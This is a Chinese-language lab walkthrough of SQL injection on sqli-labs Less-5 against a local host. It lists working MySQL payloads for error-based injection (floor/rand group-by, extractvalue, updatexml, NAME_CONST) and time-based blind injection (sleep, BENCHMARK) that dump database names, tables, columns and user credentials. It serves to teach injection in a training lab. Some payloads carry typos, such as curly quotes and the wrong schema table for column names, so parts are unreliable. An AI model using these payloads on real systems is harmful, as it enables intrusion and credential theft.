(更多sql注入内容和具体解析请转至sqli靶场——SQL注入部分详解)
Less-5
1、报错注入
爆库
union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
- 小君是这样理解的:核心还是
union select 1,2,3--+
根据order by得出有三列数据1
、count(*)
(聚合函数后面接句子让句子报错)、concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))as a from information_schema.columns group by a
(这个a是别名,代替前面的一大串) - 其中的information_schema.xxx我试过了,xxx是tables、schemata都可以没影响。
- 爆库就是select database(),版本version()、用户user(),爆表复杂一点就是在里面嵌套,如下:
爆表
union select 1,count(*),concat(0x3a,0x3a,(select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),0x3a,0x3a,floor(rand(0)*2))as a from information_schema.tables group by a--+
- 很显然concat里面还嵌套了一条比较完整的语句select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1)
- 注意这里的limit 0,1不能省略,如果省略了会显示Subquery returns more than 1 row 子查询返回多于 1 行,用limit来让结果一行行显示,limit 1,1、limit 2,1……
爆列名
union select 1,count(*),concat(0x3a,0x3a,(select concat(column_name) from information_schema.tables where table_name='users' limit 1,1),0x3a,0x3a,floor(rand(0)*2))as a from information_schema.tables group by a--+
- 有表就容易啦,跟爆表差不多的操作
爆字段值
union select 1,count(*),concat(0x3a,0x3a,(select concat(username,0x3a,0x3a,password) from users where table_schema='security' limit 0,1),0x3a,0x3a,floor(rand(0)*2))as a from information_schema.tables group by a--+
- select concat(username,0x3a,0x3a,password) from users where table_schema=‘security’ limit 0,1
- select concat(username,0x3a,0x3a,password) from users where table_schema=database() limit 0,1
- select concat(username,0x3a,0x3a,password) from security.users limit 0,1
2、double 数值类型超出范围
▲select exp(~(select * FROM(SELECT USER())a))
关于这里怪怪的,因为注入语句之后的报错信息并没有预期的成功,找了很多文章也没有相应的解释,暂时称为玄学?反正原理了解就行了。
插播一条:运算符 !和 ~
-- ! :非,使一个表达式从 true(1) 变成了 false(0),或者从 false(0) 变成了 true(1)
-- ~ :取反,比如0取反 ~0=18446744073709551615
3、用 bigint 溢出
这里也是没有成功的,不知道是是什么原因,UU们知道的话麻烦也告诉我一下噢
4、xpath 函数报错注入
这里不要想得太复杂,就是单纯的如果符合语法格式要求,则用第三个参数替换,不符合语法格式要求,则会报错并带出查询的结果
extractvalue(参数1,参数2)
http://127.0.0.1/sqllib/Less-5/?id=1’ and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
http://127.0.0.1/sqllib/Less-5/?id=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
这个注入语句少,如果想爆表的话跟最前面爆表也是一个思想:
?id=1' and extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
updatexml(参数1,参数2,参数3)
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
5、数据的重复性
NAME_CONST(name,value)
不过这里好像只能查出数据库版本,爆不出库,约束条件过于苛刻,可操作的内容极其少>>>通过NAME_CONST()报错注入
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x --+
6、延时注入
6.1 利用sleep()函数进行注入
这里有结合到前面的字符串函数
如果数据库第一个字母是s,则1秒后返回页面you are in……
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and if(ascii(substr(database(),1,1))=115,1,sleep(5))–+
否则的话,5秒后返回错误页面 等个5秒钟页面才有反应噢~网速不好的话这个时间也可以设置得大点
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and if(ascii(substr(database(),1,1))=110,1,sleep(5))–+
6.2 利用 BENCHMARK()进行延时注入
当结果正确的时候,运行 ENCODE(‘MSG’,‘by 5 seconds’)操作 50000000 次,会占用一段时间
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ union select (if(substring(x,1,1)=CHAR(115),BENCHMARK(50000000,encode(‘MSG’,‘by 5 seconds’)),null)),2,3 from (select database() as x) as tb1–+
CHAR(115) 的意思是将115转为字符s